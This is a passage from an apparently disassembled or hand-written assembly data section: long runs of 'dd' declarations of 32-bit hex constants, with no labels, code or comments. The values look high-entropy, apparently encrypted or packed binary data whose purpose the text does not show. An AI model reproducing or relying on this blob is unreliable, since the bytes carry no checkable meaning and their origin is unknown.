2C2E108Ch, 6337997Ah, 32663544h dd 7F1E7D28h, 0F361D0Fh, 6B1DDB20h, 7DE11313h, 64A4797Dh dd 0E93DA9E3h, 0F0101A0h, 16314C7Bh, 39CAB13Fh, 3A399BB2h dd 543B5638h, 0E21E713Eh, 60100A1Ah, 0DBA7D37Ah, 5A2253D9h dd 4DE64D2Ah, 0B8E21C2Bh, 2F107B66h, 403976B7h, 0F939FAD9h dd 1D5A1AECh, 1A095C02h, 11226307h, 25666F2Bh, 24EA6249h dd 122FA376h, 34BBA087h, 0F9710734h, 7D1F963Ah, 58E89A35h dd 7BEC1FDDh, 21AF23E1h, 73BE010Bh, 0EEF92869h, 53D02C6Dh dd 482573A5h, 9CB222A1h, 6D3CAB3Ah, 1FDA28C3h, 183D291Eh dd 0EA6E8077h, 125538E3h, 0F097B17h, 2C2DD3D4h, 62332F7Bh dd 0D7E895F7h, 47D16833h, 586D47FBh, 89147B52h, 2140127Eh dd 9524425Eh, 0C1A47F25h, 0BD25CA65h, 7158572Eh, 35CBCC96h dd 2D1C7BBBh, 6518A7B2h, 0F45B3F3Fh, 0DFE08885h, 2523224Bh dd 3C4D354Fh, 2E412C43h, 3F212E22h, 3759205Bh, 523EB65Fh dd 56745034h, 33313E25h, 1F1B771Ah, 4B222E16h, 2F864F78h dd 0B6DDC179h, 2E7E9D2Dh, 3E8BFBDh, 36766535h, 0D32A0528h dd 0F87AEDF3h, 0FE1F281Ch, 3392339Fh, 0A64DDB10h, 1A394735h dd 175DE1A0h, 9037F713h, 0F034551Bh, 3A092F71h, 7E3DBD2Eh dd 0DA1D1B29h, 0E610758h, 395AA3ABh, 0C10859AFh, 251B1B66h dd 32149012h, 1D36C333h, 536A335Ch, 0C258533Eh, 0F45C5FC1h dd 0F11C2E58h, 4C872897h, 0C1215775h, 869E96Eh, 587F97FDh dd 603032B1h, 3A6B2937h, 3E6B7B18h, 6E1B4D04h, 75461C3Ch dd 74733160h, 14B199CCh, 0C720AC8Eh, 7F312D7Eh, 3BC2B930h dd 4711BDBCh, 34133638h, 3F39383Ch, 0C52E4948h, 0E11ACD2Ch dd 0BBAB2B63h, 38142B27h, 0A349234Fh, 3E62E0BDh, 8F1DC4B3h dd 8EBBB53Fh, 0BAB634A8h, 4CAAE56Fh, 34DF5776h, 1C7CC376h dd 5D21A6B8h, 4EAC09C2h, 0B234E9ADh, 0E30B3F5h, 0B2D542C3h dd 1060BEFDh, 140316BEh dd 7537937Fh, 0AF3302A0h, 0B927CF27h, 70A07932h, 312E3609h dd 6260261Fh, 0EADFFBBEh, 14B94E3Bh, 45CE4B72h, 42184247h dd 7AA30135h, 7727254Eh, 0E906ED2Eh, 2E262D20h, 0B9126663h dd 4601DD2Ch, 6BC5C63Ch, 4AB3053Fh, 0F6594A1Ah, 0EC2CA23Fh dd 2BA4FCA8h, 6AD2AEACh, 0A548D826h, 9275147Bh, 86663E3Eh dd 63397C3Ah, 0B5C6B7F6h, 1E156BFFh, 28F194ECh, 2D20D371h dd 0C8272777h, 7B232BDEh, 0FF30A42Ah, 334ADB60h, 3B0BC8C8h dd 0B4593BFAh, 9F453778h, 381318D9h, 657A2CF2h, 0C0777021h dd 2DDEBEADh, 145BA518h, 0CDB8323Dh, 39DD1834h, 6AB6ABB9h dd 3B3F47AEh, 17AA011Ch, 9638A170h, 25C730AFh, 0E9A36BACh dd 0BAAA72Ch, 323AD190h, 0B2BE50B4h, 393A3132h, 50BE7183h dd 51BD737Bh, 23812692h, 2AA024E5h, 4C2A282Fh, 0E2E69ECh dd 19587156h, 3060B9CAh, 0B1F838BCh, 0FFC7B7CCh, 0EE1C19D6h dd 0AAE894BBh, 24D927DDh, 29E83CCEh, 2D1AC229h, 3031F02Dh dd 5D8D3332h, 38387347h, 0AD3BC3D3h, 1D193060h, 499F761Dh dd 25C32260h, 29D85ACDh, 24240B79h, 8A212A0Ah, 301C6891h dd 0C75D3634h, 9C3B3B51h, 7F3E3E7Eh, 9F1A1DBDh, 284DBB66h dd 4D292FC5h, 2D0B6E22h, 0A248F07h, 39923873h, 0B63C9516h dd 9A06D3FEh, 359A6B36h, 1F4A1CA6h, 0A42B824Bh, 262F8466h dd 747614A6h, 0D0AC6870h, 0ADA89913h, 29352BB1h, 25392737h dd 2D3D233Bh, 89541B20h, 8D231F08h, 25332423h, 2892E525h dd 2E2C332Dh, 31372EE6h, 34E271C4h, 3A382D31h, 263FBADEh dd 0EE183F36h, 20031D9Ch, 24028625h, 2B273B26h, 3228AB27h dd 2C2CAA2Dh, 342C31B0h, 3BB61C36h, 3F3B1A29h, 3A3CBF05h dd 1D1F7596h, 1407445h, 0B326844Fh, 6C80D73h, 0DE2BECC4h dd 79329063h, 23F7C8h, 0CAC800FAh, 0AD733C5Dh, 0B61DBDD4h dd 612181B1h, 0B4604699h, 83298998h, 2A294D1Dh, 603AF082h dd 7C3736ECh, 424BFA2Ah, 0C6914EF9h, 1A15B93Fh, 42507619h dd 0A22325A8h, 234C3D20h, 2B2B2E2Ch, 14352365h, 75683141h dd 566B3416h, 3C4B4F5Ch, 514738BEh, 4F6D7D74h, 27632352h dd 6D6B6979h, 2C652C29h, 486A2D2Dh, 40465154h, 253533Dh dd 3C1512F9h, 0E46A6FF2h, 1FDBB909h, 0F1112022h, 0B229DD1Fh dd 0A060EB28h, 0E9A572DEh, 0F06C2D6Dh, 18894C1Ch, 3F505B94h dd 0C3FA556h, 0FC575FEDh, 0E22E550Dh, 9F2D204Ah, 0A3771587h dd 24ECA729h, 3A5290ECh, 37BCA493h, 9632FEBCh, 0C32989BAh dd 510E5EC0h, 70220D5Eh, 0CDEA93A9h, 31289ED0h, 6C60482Bh dd 712D4DA5h, 0E2CB63A8h, 37791576h, 6D796FB3h, 145E3038h dd 2F1F4A12h, 2471F822h, 27219C2Ah, 2DCAAD28h, 6A20260Dh dd 3D3C3465h, 8F6393Dh, 0F32BB125h, 0EB42D66Dh, 0D0954B35h dd 0C3A9C964h, 2F61AE19h, 7322408h, 2F5EA464h, 36D17E0h dd 0D86F6E16h, 1A453324h, 26613D33h, 0E1069BDBh, 0DA0D021Eh dd 0C6FFCC73h, 0E538390Ch, 0CE2E3340h, 76A9D041h, 0E2343432h dd 7B873B73h, 17412538h, 144187Bh, 62361C5Eh, 1E5A2E2h dd 28883A0Fh, 2C8854B0h, 91353141h, 3EF70D33h, 1265F6B7h dd 2F5CBEA7h, 9D041C85h, 0E13159DCh, 5F33B620h, 0EA5727E1h dd 0E853A828h, 0F2AABC2Ch, 0F0B1D530h, 734F7D4Ah, 5C7470D0h dd 5B3A1E7Eh, 94109D2Fh, 3B6081DEh, 0C7280527h, 0A0FBDE06h dd 352A0EDh, 3A16CF1Ah, 971A25B4h, 17FABC31h, 754199CFh dd 6A055668h, 4F905755h, 20426E4Fh, 7D634B25h, 644E2DCDh dd 33D48768h, 2BB50CF3h, 33587338h, 7769357Fh, 38D3C736h dd 0C1AD1625h, 38263230h, 0C1792E66h, 0E7256179h, 5E396F26h dd 0ACA27113h, 243D3E17h, 34753190h, 18127BACh, 0E21C387Dh dd 0E51B883Ah, 21252D3Eh, 25222E35h, 178D272Dh, 369396C2h dd 38F127BEh, 7FB03B3Bh, 3FBBF80Fh, 1CDE86AAh, 0D3392140h dd 80264521h, 3028294Bh, 2E2E283Dh, 323209B0h, 0BC054074h dd 0BE0A50Dh, 3DFAFD30h, 4E1B1E73h, 6491F6E0h, 3D172383h dd 0BA412CA7h, 293D2D0Ah, 0F3A6462Fh, 67373532h, 4BF56A37h dd 0C063B22h, 6FEE6869h, 21718A2Ch, 0B626A13Ah, 0A9963C84h dd 1C0955ABh, 0AD1EB31h, 37350A6Dh, 6811234Ch, 3DF73E3Ah dd 1AA9BF3Fh, 91B67EB6h, 751FD423h, 2E25E725h, 0BE3F6B85h dd 70364C99h, 0A0BACEBAh, 3B76F811h, 0FA1F1EBDh, 0BECC3EFDh dd 0BA78095Ch, 0DC640141h, 0A67AB030h, 0E767E93Ch, 0AE2D2D3Ch dd 5B3A91F4h, 570F32E4h, 3AEA2C0Ah, 0B8001F0Dh, 9EDE995Ch dd 75DEDFE2h, 24FA65CBh, 0EA43DA04h, 6B11A0A6h, 0F0393CADh dd 0E220CB4Fh, 3ABA0AB7h, 0FEB830FFh, 265B1C4Bh, 0FE5CE21Eh dd 0E2A784C9h, 0D4132722h, 93233357h, 31B113BAh, 6767313Ch dd 3B9022C9h, 3C349933h, 6090D736h, 0A89B009Eh, 7373363Fh dd 0BB1738ADh, 8AFED29h, 362F28FDh, 82692D9h, 0B867C9CAh dd 1E3BFA09h, 3D3E6E7Bh, 9B76091Ch, 727AA116h, 0D733DA24h dd 0A82B2BF3h, 2F3E0FE8h, 3032D93Bh, 0C8342DB7h, 0D33A39F9h dd 0C0C10B1Dh, 1F1D2F1Ah, 21A22209h, 27ED15A3h, 5B883469h dd 280DAD2Bh, 2A41B92Ch, 3704AC92h, 3B2A0DC1h, 0CF08A34Bh dd 0F1F8F3Fh, 0C02D0F3Ah, 0DA172FF4h, 31878FCDh, 2D232B25h dd 3E3020A9h, 64343332h, 886E6265h, 0E24BBEDh, 2FF60CC8h dd 716A9EC6h, 0A02C6511h, 0F0084640h, 0EC190A5Ah, 512DEA48h dd 373B2811h, 0FD129426h, 4C5A6C21h, 7A776261h, 327871DCh dd 5344486Ch, 0B7CA079h, 2A6C722Fh, 232A2E2Ch, 0AB477633h dd 7757585Ah, 3138EC5Dh, 0F33F2E67h, 18D5F3Bh, 474D37BFh dd 21E7F126h, 7AAAAD28h, 5AC62F2Bh, 704D3C0Eh, 7E308A37h dd 2A1A8A33h, 5668D75Fh, 179A4E0Fh, 712A9CB7h, 84B62680h dd 3C28D823h, 2C2EF022h, 3C34EBADh, 55C508D2h, 3F35F70Fh dd 2548F801h, 0DD04D410h, 551E5E17h, 62E4C225h, 9823262Dh dd 3328C294h, 0B3E31E29h, 32D33EDDh, 68C68714h, 9D64D21Dh dd 0FB37B53Eh, 0AD4F150Ah, 9A268172h, 0D42EC5DFh, 22CB7975h dd 2EDC447Eh, 60F33566h, 436843Ah, 3DBAF9FAh, 61367BB5h dd 10B5FD2Bh, 4835061Fh, 26853401h, 8A2A4224h, 0BE477847h dd 0BCD96234h, 1EF118D2h, 3C631E31h, 0FEAA3ABBh, 923A1A0Ah dd 0FAA1FFEh, 250163ACh, 780EE600h, 0EC970D2Eh, 5162D5Bh dd 95881530h, 781E2538h, 63C46438h, 1ED9FF0Ch, 21D951F5h dd 24CACA0Ch, 0E8EFA33Dh, 382A255Ch, 232D15C5h, 3C292CB1h dd 38263137h, 0B71C3B4Bh, 0F32B6CF3h, 33B1B9Fh, 96570422h dd 652604AFh, 6B5EE9ADh, 0A426042Ch, 0DB62FF10h, 0B6B5F0B5h dd 4FFAF0BDh, 0D73F573Bh, 12726B3Bh, 3EA14B6Dh, 6091720h dd 58595A42h, 2A175E44h, 1406B642h, 7437A463h, 3E3938B4h dd 3E3C33C3h, 1F1D1E3Dh, 0DCD03F1Fh, 2124235Dh, 6B6574D9h dd 2D282B58h, 31F87C36h, 3527043Ch, 395A3236h, 7E6C393Bh dd 0C0A7F34h, 17589F4Dh, 0B0A86E01h, 87262273h, 1F434AB5h dd 583B2EEDh, 743B74B8h, 0BB3F3A38h, 1C7A1CA7h, 0F36F6839h dd 94ABFD0Dh, 0A262CC28h, 0A6BDA528h, 244B3523h, 253C08C1h dd 333A305Bh, 0FC973D33h, 852AD9DFh, 0A9833933h, 4DDD7E06h dd 212E3D80h, 765B286Bh, 881D5F3Bh, 2C2C2E24h, 3D3AD0AEh dd 5C373331h, 0AAD13C27h, 0BB332ED0h, 2CDD6FFFh, 30AB1711h dd 87DB33ABh, 43282726h dd 99BD43D5h, 31312F6Dh, 31349256h, 1CB15366h, 3CFD3C3Fh dd 1F1B0039h, 2F1B15D1h, 25F42524h, 2B276422h, 232F21CBh dd 31C22928h, 37337736h, 373325CDh, 0B5383D3Ch, 1B77393Dh dd 1E10331Fh, 262D2127h, 20273C23h, 28062963h, 2A212908h dd 30B31E37h, 341A357Ah, 7B2039ACh, 4170B06Ch, 6A1D1AF3h dd 2DE1209Ah, 2624E6A6h, 0AA087B25h, 0BDC5086Eh, 747B3062h dd 0ED06BC19h, 163E3867h, 2BBFA0B2h, 3940923Fh, 72DAF736h dd 4FDBA3DDh, 28284F27h, 2C722B1Ch, 5B24212Eh, 0FBBF6230h dd 792FC62Ah, 68D46926h, 184A3CECh, 55F70709h, 0F60B21F3h dd 0FB8CAE26h, 0B02CBC2Ah, 20022DFFh, 23D12931h, 92B71C73h dd 0D42139E0h, 373CEC05h, 541DCFC9h, 0F17D22FCh, 38D70027h dd 31A0D2Ah, 1FF5C57Dh, 2831E722h, 0FFBD1934h, 3BAEA538h dd 0D7362CA0h, 0DA1F144Bh, 0A92220BFh, 0E023D429h, 114A2855h dd 2AA823D8h, 2E31CDDCh, 0BE45107Fh, 223B31ABh, 293D66D3h dd 1D147DD6h, 21481D3Eh, 7B251523h, 75A803A2h, 472E2B29h dd 14307F2Fh, 87241383h, 6B114C3Bh, 3D271D65h, 4E692E3Fh dd 0A2B24C61h, 5732C12Ah, 896A0964h, 2B796209h, 7BDDAD07h dd 8D66C05Fh, 856376A7h, 733B8B6Ch, 1A8535EFh, 0BC7CE829h dd 0C423B520h, 76D86E76h, 0FA764F28h, 3D6F872Dh, 3D02D331h dd 27D57D31h, 530BAD3Bh, 3FC13D7Ch, 9E76D01Bh, 62C1221Fh dd 1025DB23h, 6E6D44D7h, 2F6C252Bh, 7229382Fh, 37053931h dd 4B093B37h, 3F3C4D3Bh, 1D8C1A07h, 1361FE1h, 253DB027h dd 0B92B2723h, 382C68CEh, 31513F3Bh, 25BC43E3h, 0A9857533h dd 9C71D00Bh, 111A9D3Ah, 21BD162Bh, 74AB0A41h, 1B268457h dd 0D03E5EA2h, 0F08F3B6Ch, 2432837Ah, 4874BE22h, 253A885Fh dd 0AACB33B6h, 0A32971Dh, 52240D8h, 4FD62721h, 64205DDEh dd 0CF090F70h, 0C1FA9C31h, 73423F34h, 3BDAA43Eh, 9F1AB9B6h dd 6B309D9Ah, 5CCCA50Ch, 366FE403h, 0EDC17E37h, 5B6025EBh dd 23DAE4DCh, 15383513h, 2F69B536h, 1FF63D1Bh, 470C6336h dd 3DCB1B1Eh, 27552701h, 7FE8A3A6h, 7C8E7C2Dh, 1462582Dh dd 308D9773h, 9B981776h, 0B574C117h, 1C9A9223h, 204EAFBFh dd 808622D2h, 2B27339Bh, 7AAE0CC2h, 327CA62Fh, 0A22EBB57h dd 0A3113457h, 51DB385Ah, 416F2983h, 9A1E42D5h, 202D57FBh dd 2732AFD6h, 2BE96940h, 0E3FCC52Fh, 13BB5D32h, 0B23A1170h dd 23A6B9F8h, 4B3A3D3Ch, 0F6D59710h, 0A2205D3Dh, 24CED43Bh dd 0A5A2DE14h, 0A7062C7Ah, 3031AD91h, 0BD31B4BDh, 0B7026F37h dd 70B01A7Ch, 9D4C1119h, 6F210308h, 0AC1F75ABh, 72AA286h dd 6C99BEC3h, 3D72DF22h, 3D2AFD7Fh, 30F95903h, 0FC380B6Eh dd 34C91937h, 40171F53h, 222B200Ch, 38662E2Bh, 39362F07h dd 0B50C0CC4h, 2CDA1833h, 0D10834B0h, 2C7A37F3h, 0DE2F7CADh dd 5F4BD3D5h, 60517B61h, 8B3921C3h, 0B7E56E8h, 6A7E335Ch dd 3272D131h, 0AFDE30A0h, 3AAFB139h, 3EAEBD2Ch, 1E5D04B5h dd 26A1218Dh, 6624B1E3h, 0AAFC2962h, 2F68DC0Bh, 5A33D14Fh dd 12D43473h, 3A484B81h, 4FBC38FBh, 9238FB3Fh, 0C10D1F6Fh dd 2401AA46h, 19C47A26h, 2D467C7Ch, 215A2F2Fh, 215E3058h dd 0B939785Ch, 3856383Bh, 15712D54h, 0AB1B741Dh, 0A92648D0h dd 10032661h, 0EB7B3843h, 310F36ABh, 0EFDB3431h, 6E0F4837h dd 0FBF3B139h, 1B7B1A79h, 0E8F61D18h, 3C223E20h, 38263A24h dd 2B35D628h, 2F312D33h, 332D312Fh, 3729352Bh, 34C53937h dd 303E323Ch, 111D131Bh, 2D212F1Fh, 59252B23h, 2A262828h dd 2E222C24h, 323E3020h, 1663343Dh, 0D2C8B360h, 0B54E6C20h dd 11381B43h, 73AEA744h, 0A930A351h, 973EB074h, 346B79B8h dd 63296E7Ah, 0B557FBDAh, 10217E7Ch, 7EFDDED2h, 99C06EBCh dd 0A55B1C5Fh, 30CB7270h, 5E76A897h, 0AE7D6AD3h, 15AF627Ch dd 0A53363B4h, 68B03764h, 0B81FB6B4h, 1DD73D3Dh, 3F6F7315h dd 0E3723A01h, 0CF38E4A7h, 6CA94531h, 37AE44ACh, 7ABC62h dd 36373DDCh, 0B13BE93Dh, 1B42B69Dh, 1C4C940Fh, 7520D157h dd 0CEEBAF73h, 9C42AA47h, 0A67A0C2Ah, 890347Eh, 0BFBF35A2h dd 11983D7Fh, 3FCDF0D3h, 15FF961Dh, 0EE02FECAh, 2424CB56h dd 0A09C2FD0h, 0D12FE886h, 39802E3Eh, 811F6276h, 6429FAB9h dd 0AD085A92h, 197B952Eh, 0F6321F98h, 2D6C48F1h, 48D6B6CDh dd 380F7EA9h, 0F3C77C7Dh, 14B04E81h, 1D0BF772h, 1F512753h dd 59B08F7Dh, 5FD8331Fh, 0CBE62023h, 6BA524A6h, 0DBAA210Ch dd 3FF8E628h, 2D12FA3Ah, 19392092h, 7C9B3739h, 0DD7D24E0h dd 0DE133D14h, 23832C6Ah, 36575182h, 68D55D85h, 3E203C68h dd 16893F72h, 73D51E6Bh, 4859A0C1h, 821AAC99h, 3968141Eh dd 53F15412h, 55FFE853h, 0F9EE0C26h, 0F70E3B2Ah, 3CEC240Eh dd 384AF182h, 73B8CEE6h, 4F0CCB11h, 3B143B5Eh, 24EE1905h dd 58D4BBC9h, 0B8E522E5h, 0F3A3F52Bh, 302657A5h, 191FF203h dd 0ED95282Ah, 0BF4D34BBh, 736FAC33h, 0E1C9156h, 10332275h dd 0B7392CE4h, 0E7BAB930h, 2F242D53h, 1BA2DDB1h, 0B7343536h dd 3ABAAD40h, 692E686Fh, 1E4EA54Ch, 5EACD06Fh, 0D53D0023h dd 0E95A382h, 6BAD0D17h, 7215BCA4h, 4ABC35B3h, 0C2BA5C77h dd 38483439h, 0F6569BB2h, 417C921Ah, 0E5173706h, 2908E771h dd 5EA86B4Eh, 0B802CF3Eh, 0D528B77Eh, 7920332Eh, 6BB739BBh dd 165DB416h, 30733E31h, 72A860E0h, 0E806772Dh, 7F697F1Fh dd 182CAE7Fh, 942F36D9h, 0FC138AB8h, 3E3B33F9h, 5F6D95CEh dd 3C0D0D5Dh, 44221D0h, 0F68230DBh, 290E652Eh, 3F293C04h dd 133E70C6h, 862C1B41h, 6B345D32h, 70FE6A3Eh, 0E10F9DCEh dd 8F55239Dh, 0AD312593h, 68380877h, 983C7CA2h, 78F3BB63h dd 0CA6DCBCCh, 7F97EDFh, 0BE412ABBh, 96BCF429h, 7EAB0751h dd 0A10A35A3h, 0B0E80730h, 2DECAF86h, 353DE538h, 2334F133h dd 4C3C1362h, 62B72FD9h, 1D44293Bh, 21940216h, 78AAC921h dd 19E42201h, 0A74F2AE9h, 0F0AA1E6Dh, 32532629h, 0FE2F6625h dd 2A7F2EBDh, 736E373Fh, 0ADA380Ch, 0A90981CDh, 0AD3324B2h dd 3DAA80AEh, 3AEA7D7Eh, 0B827F279h, 97375B94h, 6664660Bh dd 5B653C8Ch, 1E10959Bh, 0C2E5A11Bh, 0E4E52623h, 0BA282823h dd 312D33E7h, 3572D87Eh, 6D32202Dh, 0BED16C14h, 34B12237h dd 31D4F21h, 26C80B4Ch, 0A2E03D25h, 61C0031Ah, 7D32272Fh dd 5B35312Ah, 74265927h, 692C6C34h, 39A0F0D2h, 385F7320h dd 5039A2Dh, 38AF2DC9h, 34A16732h, 4627403Ah, 0C37F7504h dd 7873BF9Ah, 305D1A11h, 0B02ADA68h, 9E371FE0h, 0C7001BDh dd 8C782692h, 7F384423h, 6B7A1CA3h, 3B3F2D2Dh, 72330D11h dd 495E3CF4h, 9BBA3D5Eh, 6B34B023h, 7C4F1E7Dh, 0F4DE731Dh dd 0A71862A8h, 0AE0DC90Bh, 0AC3D6FBAh, 0E2347E4Bh, 33353B33h dd 0D2686B5Bh, 25DE3D5h, 23BC44BFh, 48911ADCh, 0F479B32Ah dd 79222532h, 58ECAE26h, 31DCAC09h, 2062BE2Ah, 9DB1FBBDh dd 3D881FBAh, 0D0F36D3Dh, 9937180Dh, 6462AE8Fh, 0AD6106ECh dd 1205143Fh, 0F5117DADh, 0E60CA40Fh, 88372A05h, 3C6B3839h dd 1B0F8D3Eh, 2E6D2C06h, 113110B0h, 9B144824h, 1819221Ah dd 1ADD2D18h, 59D07ABh, 283603F4h, 7F0D0A0Fh, 3D099D0Bh dd 1082CA5h, 0AE196527h, 1EFC241Bh, 0C32B2877h, 58202929h dd 18C53D2Eh, 893830ADh dd 3FDF3536h, 6B3F3436h, 18C4163Fh, 2C214E13h, 0BF2926E8h dd 95252673h, 2CCF262Fh, 3C358123h, 0B537991Eh, 3FBD9730h dd 0AF3ABA4Fh, 0A25139BBh, 0A59B189Ch, 0A4272527h, 1C677711h dd 3AABFA27h, 35F1CBEh, 58B86762h, 6E231235h, 0FC09CC0Ah dd 372BEB6h, 1DE79E4Bh, 33922054h, 7CD9EDA7h, 0A0328769h dd 1C3A2D51h, 3CFBB4EBh, 373522BAh, 2F3E39ADh, 353501BCh dd 222A1C6Eh, 0A3125412h, 40CD7623h, 0A9D6D5AFh, 0AA3D2CEFh dd 28B53FEFh, 34353439h, 7E6B7888h, 3EBE3D3Bh, 0DD2FE4F6h dd 0B9048B93h, 0D7802323h, 2F9D088h, 0A66C7BD3h, 0BAE9A4D9h dd 0C70433C8h, 0F2B39936h, 3FD5FA75h, 97BE3FCDh, 23FE9DD6h dd 9ACA2323h, 28242641h, 2D6EC21Dh, 0D8572E1Dh, 30310EB3h dd 506F1261h, 9418B80Dh, 1A0B4BD5h, 4C9F094Ah, 0A93FA14Ah dd 776AA537h, 0C37E2F28h, 6A3AAC38h, 33BE1230h, 4D48B817h dd 1DA51B38h, 3EB8BC06h, 9E9B969Fh, 316121DEh, 27E58F12h dd 6FB92262h, 246C4C21h, 683B7444h, 0B73F7045h, 0B93272h dd 8E3779E3h, 1C1B1A14h, 2325A71Ch, 3D2DABE2h, 20ACF2D5h dd 0C5382ACAh, 74C03B2Ah, 9C70723Ah, 0B5283F73h, 38B41AFDh dd 191B0F3Bh, 999351Dh, 0DA077E6h, 2001A635h, 0A223403Dh dd 0C0B6207h, 6521625Bh, 12B506DDh, 3E11BE05h, 572A7EB8h dd 7F48361Dh, 36667370h, 6F7ECF30h, 3E6E5B3Dh, 0A225473Fh dd 0F33D2270h, 7323F835h, 797A791Ch, 63E7D594h, 2E08E300h dd 0A12121FFh, 61ACDBDBh, 3F315D32h, 0CD21A8CBh, 3891601Eh dd 367EDC23h, 0D3C6C615h, 3C3D3A98h, 4B0C7117h, 610863BEh dd 25E4A627h, 66A30552h, 38D37A3Fh, 3090A780h, 33309232h dd 223E3564h, 4E2E3D3Bh, 5C00BF05h, 0DD1972F5h, 0BDA37DDEh dd 0EDACAA7Eh, 0B6293DA8h, 0B079C610h, 0AE309B3Bh, 0A2323B8Dh dd 32A1331Eh, 4467A43Dh, 841F465Ch, 239F3AA1h, 23B77ABFh dd 330E6D09h, 922218ACh, 373355B0h, 2748B83Dh, 77D26E68h dd 863C7C6Dh, 0A45C91DBh, 825BE078h, 0A35C0B97h, 28687721h dd 2E672AAFh, 30B53174h, 0C9CAFB6Ah, 9BE53DF1h, 0F83F003Bh dd 7DC8F3Ah, 7118941Ch, 226ECA36h, 0A87F0AA7h, 0AC779E89h dd 861DAFB0h, 2B741532h, 0A968F607h, 3D6B18BAh, 196FC9BBh dd 0CB0E6090h, 0DB102021h, 4226264Fh, 2D412A3Eh, 7F453C47h dd 10B376BCh, 683E5C15h, 0EBB1DD1h, 7FBBD7Dh, 9FD6964Bh dd 23026940h, 0DB65CD20h, 7BA44728h, 2D2E2F2Ch, 5B8B6060h dd 0B7722745h, 0EB7FCF39h, 2E4A3C3Ch, 0CA58AB14h, 0A22F60F4h dd 0FE53041Dh, 2AC20326h, 762746DEh, 6162667Fh, 0CA20CB33h dd 6A383AEFh, 8D3FBCD3h, 5895E4C3h, 23131F86h, 604F22F2h dd 0A220ACCAh, 60A52B23h, 0D9617FA6h, 36343313h, 594C2724h dd 19403BBAh, 106E1102h, 41F5A97h, 50E3A61Ch, 2C091A74h dd 4F8B675Dh, 14A3A311h, 54315065h, 0BC5F603Ch, 37395598h dd 0CCC07E6Ch, 933A9997h, 0FAE2961h, 27E6AD00h, 0AB4222C8h dd 3B7C7828h, 31F0A5BBh, 0E6DBF548h, 0CB90E84Ch, 0E369D11h dd 0EE25CC93h, 2321CB6Fh, 56242463h, 762A282Bh, 17D604Bh dd 0B2D930EFh, 22D3733h, 4AD10FD7h, 5ECD3E78h, 1D2BE7D9h dd 3028271Fh, 1D3460E2h, 96BC73Eh, 0FD290312h, 0A9801F33h dd 6AC2DB62h, 29ABA997h, 0B2B4383Ah, 8A91A19Eh, 59F0F89h dd 0E4B4AAEEh, 7BCACE85h, 612FEA08h, 32DAC61Fh, 984D7C23h dd 3ED7C0DDh, 3D2C1C38h, 1F1FA31Bh, 17B60D78h, 80E2A406h dd 537EA52Bh, 0D0A2222h, 0A43E0D73h, 15954832h, 587A347Bh dd 4E6E5257h, 496F9D4Ch, 0F87A25DBh, 0C0628C32h, 7274E030h dd 8A4C4348h, 4EEC30A7h, 475B54F7h, 37D74040h, 0BA043E71h dd 3B9F8DA3h, 189F545Ch, 4F65D65Fh, 0A1495696h, 316B5437h dd 8CF2202Ah, 0DB0BED14h, 4A084109h, 8304AD0Ah, 1E00EE06h dd 48267C03h, 3222F120h, 0B81D6D1Fh, 0F5198A1Bh, 3015C017h dd 68100612h, 0BF0C4E0Eh, 0F308930Ah, 0CD04E006h, 0BB3E3E02h dd 6B1F1D1Eh, 13202220h, 17F51597h, 1A5319CCh, 222D0C2Ah dd 1B9350A2h, 771F3565h, 0DB6D312Ch, 67CE09A1h, 211DA523h dd 2299231Fh, 2659A927h, 0C0E81403h, 2186DF29h, 0F38DB46Bh dd 7A11A856h, 0BE6C36F7h, 246C11B0h, 5D38A7B2h, 0E189790Fh dd 0A72BA835h, 35393745h, 7D3C4A54h, 9690C77Ch, 0AD663DD1h dd 7DB537D7h, 5CDCBD1Ah, 0F4936F31h, 5FFA81CCh, 0A65FCA31h dd 0C0EABE21h, 2C3AE84Ah, 51B9A43Ch, 66624623h, 0D88827F1h dd 0DCB09A3Ah, 0FAE40E33h, 96187F98h, 12020B20h, 42A3C50Ch dd 8A223C29h, 7F018CACh, 1F372958h, 1E85B5E3h, 6B68B9B0h dd 3D0D1138h, 48F40437h, 0A20A212Dh, 35A48A30h, 0A03AA8A9h dd 0F6CBA65h, 22700B6Fh, 7CB16662h, 0C7DD98E2h, 0BC3AD5C4h dd 3D9E2D1Fh, 2AE09F88h, 0E5B70363h, 69FA1766h, 6DDC2C80h dd 1171393Ch, 37B47221h, 2A1C1D27h, 1F8C7B7Bh, 91398F07h dd 701B7653h, 1E623670h, 693332B5h, 6D390B15h, 0CFD39593h dd 5E3836D0h, 3CF32137h, 560F1E6Dh, 0F30B6C3Ah, 3F1ABF29h dd 4F422584h, 30E611CCh, 30E7510h, 0EF195927h, 1B325250h dd 65A46438h, 18D22AF9h, 50BA2C3Dh, 1A050D12h, 6BE048F7h dd 62D2036Bh, 6BD64AD8h, 0B4C57A7Bh, 103064EFh, 0A6DDB076h dd 7EB23A76h, 3DBC4B1Fh, 32F4232Fh, 15579D57h, 0DE43827h dd 59D7FFA5h, 311F727Eh, 184063A3h, 7599DB27h, 69349732h dd 0B73C393Fh, 26D1B529h, 98BD6B0Dh, 0EDA73E21h, 7FAD3251h dd 0E6A12A28h, 452E7E17h, 0F333B13Fh, 3AF7B537h, 3C4EF3BDh dd 0F0FF0DDDh, 9CDE0619h, 0A8272154h, 0D1CD2176h, 0A22A38A1h dd 6CE82966h, 3B5330CDh, 763A94F7h, 0B0267935h, 0B6363D64h dd 1F1D9705h, 2A216094h, 0E52162AAh, 2A45A347h, 6BA6040Fh dd 3765BB13h, 0DC344C33h, 0B12172BCh, 3F1D3C61h, 5424F8D4h dd 0AFAA69DEh, 0ACA250A0h, 6B78AD55h, 6E0C03ADh, 5110C73Eh dd 63BF3336h, 697EBC62h, 657C75B1h, 974A6F6Ch, 1C3D5ED2h dd 0CC272231h, 78242691h, 2C4ABBC1h, 0D2AEB785h, 0B405D2CEh dd 0FA373514h, 0C4FAF5B2h, 99C8A737h, 0DB139D1Dh, 0AEDAAA04h dd 0A70F4C6Ah, 0AB2B7D12h, 57AEE121h, 0FC3ABA60h, 36F6F1DCh dd 3BAEAFB2h, 0B56E3E3Ch, 1D1D8F9Dh, 9B71004Dh, 0A6C4B8E6h dd 2BEBD83Dh, 0A731A1E9h, 0DA651473h, 0F7F622C2h, 767F38BBh dd 606279F9h, 4C1F1B7Bh, 0A1A9794Eh, 0AB06C0B0h, 0DBCB64Fh dd 8C28CBEEh, 0FB336FA7h, 0E1BDF260h, 0F95048F6h, 0B4F411FBh dd 0CC3FABEEh, 0EC1BDC18h, 28422180h, 200774CFh, 40B2899Dh dd 340F2FEDh, 65C73DF0h, 10BB5267h, 0F3B7199h, 187FF819h dd 1EA33928h, 436F9109h, 37C4E0CCh, 0CBEC0D08h, 0B0FB82Ah dd 91161020h, 91D63114h, 